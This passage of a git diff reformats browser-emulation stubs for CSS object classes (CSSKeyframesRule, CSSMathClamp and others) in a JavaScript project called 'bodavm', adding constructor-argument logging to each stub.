console.log_copy('CSSKeyframeRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSKeyframeRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSKeyframeRule'], "CSSKeyframeRule"); +bodavm.memory.globalobj['CSSKeyframeRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSKeyframeRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSKeyframeRule', "keyText", { + configurable: true, + enumerable: true, + get: function keyText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "keyText_get", arguments); + }, + set: function keyText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "keyText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSKeyframeRule', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "style_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSKeyframesRule.js b/env_xbb_lastest_jsdom/env/CSSKeyframesRule.js index f22c6b0c..daa35c9f 100644 --- a/env_xbb_lastest_jsdom/env/CSSKeyframesRule.js +++ b/env_xbb_lastest_jsdom/env/CSSKeyframesRule.js @@ -1,10 +1,61 @@ -// CSSKeyframesRule对象 -bodavm.memory.globalobj['CSSKeyframesRule'] = function CSSKeyframesRule(){if (!(this instanceof CSSKeyframesRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSKeyframesRule'], "CSSKeyframesRule"); -bodavm.memory.globalobj['CSSKeyframesRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSKeyframesRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "cssRules", {configurable:true, enumerable:true, get:function cssRules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "cssRules_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "appendRule", {configurable:true, enumerable:true, writable:true, value:function appendRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "appendRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "deleteRule", {configurable:true, enumerable:true, writable:true, value:function deleteRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "deleteRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "findRule", {configurable:true, enumerable:true, writable:true, value:function findRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "findRule", arguments)}},'prototype'); +// CSSKeyframesRule对象 + +bodavm.memory.globalobj['CSSKeyframesRule'] = function CSSKeyframesRule() { + console.log_copy('CSSKeyframesRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSKeyframesRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSKeyframesRule'], "CSSKeyframesRule"); +bodavm.memory.globalobj['CSSKeyframesRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSKeyframesRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "cssRules", { + configurable: true, + enumerable: true, + get: function cssRules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "cssRules_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "appendRule", { + configurable: true, + enumerable: true, + writable: true, + value: function appendRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "appendRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "deleteRule", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "deleteRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "findRule", { + configurable: true, + enumerable: true, + writable: true, + value: function findRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "findRule", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSKeywordValue.js b/env_xbb_lastest_jsdom/env/CSSKeywordValue.js index aa2b2692..72c09bdf 100644 --- a/env_xbb_lastest_jsdom/env/CSSKeywordValue.js +++ b/env_xbb_lastest_jsdom/env/CSSKeywordValue.js @@ -1,6 +1,29 @@ -// CSSKeywordValue对象 -bodavm.memory.globalobj['CSSKeywordValue'] = function CSSKeywordValue(){if (!(this instanceof CSSKeywordValue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSKeywordValue': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSKeywordValue'], "CSSKeywordValue"); -bodavm.memory.globalobj['CSSKeywordValue'].prototype.__proto__=bodavm.memory.globalobj['CSSStyleValue'].prototype; -bodavm.memory.globalobj['CSSKeywordValue'].__proto__=bodavm.memory.globalobj['CSSStyleValue']; -bodavm.toolsFunc.defineProperty('CSSKeywordValue', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeywordValue'].prototype, "CSSKeywordValue", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeywordValue'].prototype, "CSSKeywordValue", "value_set", arguments)}},'prototype'); +// CSSKeywordValue对象 + +bodavm.memory.globalobj['CSSKeywordValue'] = function CSSKeywordValue() { + console.log_copy('CSSKeywordValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSKeywordValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSKeywordValue': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSKeywordValue'], "CSSKeywordValue"); +bodavm.memory.globalobj['CSSKeywordValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSStyleValue'].prototype; +bodavm.memory.globalobj['CSSKeywordValue'].__proto__ = bodavm.memory.globalobj['CSSStyleValue']; +bodavm.toolsFunc.defineProperty('CSSKeywordValue', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeywordValue'].prototype, "CSSKeywordValue", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeywordValue'].prototype, "CSSKeywordValue", "value_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSLayerBlockRule.js b/env_xbb_lastest_jsdom/env/CSSLayerBlockRule.js index 00b6eef4..491d1602 100644 --- a/env_xbb_lastest_jsdom/env/CSSLayerBlockRule.js +++ b/env_xbb_lastest_jsdom/env/CSSLayerBlockRule.js @@ -1,6 +1,27 @@ -// CSSLayerBlockRule对象 -bodavm.memory.globalobj['CSSLayerBlockRule'] = function CSSLayerBlockRule(){if (!(this instanceof CSSLayerBlockRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSLayerBlockRule'], "CSSLayerBlockRule"); -bodavm.memory.globalobj['CSSLayerBlockRule'].prototype.__proto__=bodavm.memory.globalobj['CSSGroupingRule'].prototype; -bodavm.memory.globalobj['CSSLayerBlockRule'].__proto__=bodavm.memory.globalobj['CSSGroupingRule']; -bodavm.toolsFunc.defineProperty('CSSLayerBlockRule', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSLayerBlockRule'].prototype, "CSSLayerBlockRule", "name_get", arguments)}, set:undefined},'prototype'); +// CSSLayerBlockRule对象 + +bodavm.memory.globalobj['CSSLayerBlockRule'] = function CSSLayerBlockRule() { + console.log_copy('CSSLayerBlockRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSLayerBlockRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSLayerBlockRule'], "CSSLayerBlockRule"); +bodavm.memory.globalobj['CSSLayerBlockRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSGroupingRule'].prototype; +bodavm.memory.globalobj['CSSLayerBlockRule'].__proto__ = bodavm.memory.globalobj['CSSGroupingRule']; +bodavm.toolsFunc.defineProperty('CSSLayerBlockRule', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSLayerBlockRule'].prototype, "CSSLayerBlockRule", "name_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSLayerStatementRule.js b/env_xbb_lastest_jsdom/env/CSSLayerStatementRule.js index 85f54b57..b30b90f1 100644 --- a/env_xbb_lastest_jsdom/env/CSSLayerStatementRule.js +++ b/env_xbb_lastest_jsdom/env/CSSLayerStatementRule.js @@ -1,6 +1,27 @@ -// CSSLayerStatementRule对象 -bodavm.memory.globalobj['CSSLayerStatementRule'] = function CSSLayerStatementRule(){if (!(this instanceof CSSLayerStatementRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSLayerStatementRule'], "CSSLayerStatementRule"); -bodavm.memory.globalobj['CSSLayerStatementRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSLayerStatementRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSLayerStatementRule', "nameList", {configurable:true, enumerable:true, get:function nameList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSLayerStatementRule'].prototype, "CSSLayerStatementRule", "nameList_get", arguments)}, set:undefined},'prototype'); +// CSSLayerStatementRule对象 + +bodavm.memory.globalobj['CSSLayerStatementRule'] = function CSSLayerStatementRule() { + console.log_copy('CSSLayerStatementRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSLayerStatementRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSLayerStatementRule'], "CSSLayerStatementRule"); +bodavm.memory.globalobj['CSSLayerStatementRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSLayerStatementRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSLayerStatementRule', "nameList", { + configurable: true, + enumerable: true, + get: function nameList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSLayerStatementRule'].prototype, "CSSLayerStatementRule", "nameList_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSMathClamp.js b/env_xbb_lastest_jsdom/env/CSSMathClamp.js index d096e2b8..a751c843 100644 --- a/env_xbb_lastest_jsdom/env/CSSMathClamp.js +++ b/env_xbb_lastest_jsdom/env/CSSMathClamp.js @@ -1,8 +1,43 @@ -// CSSMathClamp对象 -bodavm.memory.globalobj['CSSMathClamp'] = function CSSMathClamp(){if (!(this instanceof CSSMathClamp)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMathClamp': 3 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathClamp'], "CSSMathClamp"); -bodavm.memory.globalobj['CSSMathClamp'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathClamp'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathClamp', "lower", {configurable:true, enumerable:true, get:function lower (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathClamp'].prototype, "CSSMathClamp", "lower_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSMathClamp', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathClamp'].prototype, "CSSMathClamp", "value_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSMathClamp', "upper", {configurable:true, enumerable:true, get:function upper (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathClamp'].prototype, "CSSMathClamp", "upper_get", arguments)}, set:undefined},'prototype'); +// CSSMathClamp对象 + +bodavm.memory.globalobj['CSSMathClamp'] = function CSSMathClamp() { + console.log_copy('CSSMathClamp 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathClamp)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMathClamp': 3 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathClamp'], "CSSMathClamp"); +bodavm.memory.globalobj['CSSMathClamp'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathClamp'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; +bodavm.toolsFunc.defineProperty('CSSMathClamp', "lower", { + configurable: true, + enumerable: true, + get: function lower() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathClamp'].prototype, "CSSMathClamp", "lower_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSMathClamp', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathClamp'].prototype, "CSSMathClamp", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSMathClamp', "upper", { + configurable: true, + enumerable: true, + get: function upper() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathClamp'].prototype, "CSSMathClamp", "upper_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSMathInvert.js b/env_xbb_lastest_jsdom/env/CSSMathInvert.js index 5e2aa66e..01baeb35 100644 --- a/env_xbb_lastest_jsdom/env/CSSMathInvert.js +++ b/env_xbb_lastest_jsdom/env/CSSMathInvert.js @@ -1,6 +1,27 @@ -// CSSMathInvert对象 -bodavm.memory.globalobj['CSSMathInvert'] = function CSSMathInvert(){if (!(this instanceof CSSMathInvert)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMathInvert': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathInvert'], "CSSMathInvert"); -bodavm.memory.globalobj['CSSMathInvert'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathInvert'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathInvert', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathInvert'].prototype, "CSSMathInvert", "value_get", arguments)}, set:undefined},'prototype'); +// CSSMathInvert对象 + +bodavm.memory.globalobj['CSSMathInvert'] = function CSSMathInvert() { + console.log_copy('CSSMathInvert 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathInvert)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMathInvert': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathInvert'], "CSSMathInvert"); +bodavm.memory.globalobj['CSSMathInvert'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathInvert'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; +bodavm.toolsFunc.defineProperty('CSSMathInvert', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathInvert'].prototype, "CSSMathInvert", "value_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSMathMax.js b/env_xbb_lastest_jsdom/env/CSSMathMax.js index f83c71ca..172185a8 100644 --- a/env_xbb_lastest_jsdom/env/CSSMathMax.js +++ b/env_xbb_lastest_jsdom/env/CSSMathMax.js @@ -1,6 +1,27 @@ -// CSSMathMax对象 -bodavm.memory.globalobj['CSSMathMax'] = function CSSMathMax(){if (!(this instanceof CSSMathMax)){return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathMax': Arguments can't be empty")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathMax'], "CSSMathMax"); -bodavm.memory.globalobj['CSSMathMax'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathMax'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathMax', "values", {configurable:true, enumerable:true, get:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathMax'].prototype, "CSSMathMax", "values_get", arguments)}, set:undefined},'prototype'); +// CSSMathMax对象 + +bodavm.memory.globalobj['CSSMathMax'] = function CSSMathMax() { + console.log_copy('CSSMathMax 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathMax)) { + return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathMax': Arguments can't be empty"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathMax'], "CSSMathMax"); +bodavm.memory.globalobj['CSSMathMax'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathMax'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; +bodavm.toolsFunc.defineProperty('CSSMathMax', "values", { + configurable: true, + enumerable: true, + get: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathMax'].prototype, "CSSMathMax", "values_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSMathMin.js b/env_xbb_lastest_jsdom/env/CSSMathMin.js index 489b0cc1..4fa2a0e2 100644 --- a/env_xbb_lastest_jsdom/env/CSSMathMin.js +++ b/env_xbb_lastest_jsdom/env/CSSMathMin.js @@ -1,6 +1,27 @@ -// CSSMathMin对象 -bodavm.memory.globalobj['CSSMathMin'] = function CSSMathMin(){if (!(this instanceof CSSMathMin)){return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathMin': Arguments can't be empty")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathMin'], "CSSMathMin"); -bodavm.memory.globalobj['CSSMathMin'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathMin'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathMin', "values", {configurable:true, enumerable:true, get:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathMin'].prototype, "CSSMathMin", "values_get", arguments)}, set:undefined},'prototype'); +// CSSMathMin对象 + +bodavm.memory.globalobj['CSSMathMin'] = function CSSMathMin() { + console.log_copy('CSSMathMin 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathMin)) { + return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathMin': Arguments can't be empty"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathMin'], "CSSMathMin"); +bodavm.memory.globalobj['CSSMathMin'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathMin'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; +bodavm.toolsFunc.defineProperty('CSSMathMin', "values", { + configurable: true, + enumerable: true, + get: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathMin'].prototype, "CSSMathMin", "values_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSMathNegate.js b/env_xbb_lastest_jsdom/env/CSSMathNegate.js index b044034d..9bca7f57 100644 --- a/env_xbb_lastest_jsdom/env/CSSMathNegate.js +++ b/env_xbb_lastest_jsdom/env/CSSMathNegate.js @@ -1,6 +1,27 @@ -// CSSMathNegate对象 -bodavm.memory.globalobj['CSSMathNegate'] = function CSSMathNegate(){if (!(this instanceof CSSMathNegate)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMathNegate': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathNegate'], "CSSMathNegate"); -bodavm.memory.globalobj['CSSMathNegate'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathNegate'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathNegate', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathNegate'].prototype, "CSSMathNegate", "value_get", arguments)}, set:undefined},'prototype'); +// CSSMathNegate对象 + +bodavm.memory.globalobj['CSSMathNegate'] = function CSSMathNegate() { + console.log_copy('CSSMathNegate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathNegate)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMathNegate': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathNegate'], "CSSMathNegate"); +bodavm.memory.globalobj['CSSMathNegate'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathNegate'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; +bodavm.toolsFunc.defineProperty('CSSMathNegate', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathNegate'].prototype, "CSSMathNegate", "value_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSMathProduct.js b/env_xbb_lastest_jsdom/env/CSSMathProduct.js index ac75bddb..f2696c29 100644 --- a/env_xbb_lastest_jsdom/env/CSSMathProduct.js +++ b/env_xbb_lastest_jsdom/env/CSSMathProduct.js @@ -1,6 +1,27 @@ -// CSSMathProduct对象 -bodavm.memory.globalobj['CSSMathProduct'] = function CSSMathProduct(){if (!(this instanceof CSSMathProduct)){return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathProduct': Arguments can't be empty")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathProduct'], "CSSMathProduct"); -bodavm.memory.globalobj['CSSMathProduct'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathProduct'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathProduct', "values", {configurable:true, enumerable:true, get:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathProduct'].prototype, "CSSMathProduct", "values_get", arguments)}, set:undefined},'prototype'); +// CSSMathProduct对象 + +bodavm.memory.globalobj['CSSMathProduct'] = function CSSMathProduct() { + console.log_copy('CSSMathProduct 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathProduct)) { + return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathProduct': Arguments can't be empty"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathProduct'], "CSSMathProduct"); +bodavm.memory.globalobj['CSSMathProduct'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathProduct'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; +bodavm.toolsFunc.defineProperty('CSSMathProduct', "values", { + configurable: true, + enumerable: true, + get: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathProduct'].prototype, "CSSMathProduct", "values_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSMathSum.js b/env_xbb_lastest_jsdom/env/CSSMathSum.js index 661d02f3..7147da1d 100644 --- a/env_xbb_lastest_jsdom/env/CSSMathSum.js +++ b/env_xbb_lastest_jsdom/env/CSSMathSum.js @@ -1,6 +1,27 @@ -// CSSMathSum对象 -bodavm.memory.globalobj['CSSMathSum'] = function CSSMathSum(){if (!(this instanceof CSSMathSum)){return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathSum': Arguments can't be empty")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathSum'], "CSSMathSum"); -bodavm.memory.globalobj['CSSMathSum'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathSum'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathSum', "values", {configurable:true, enumerable:true, get:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathSum'].prototype, "CSSMathSum", "values_get", arguments)}, set:undefined},'prototype'); +// CSSMathSum对象 + +bodavm.memory.globalobj['CSSMathSum'] = function CSSMathSum() { + console.log_copy('CSSMathSum 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathSum)) { + return 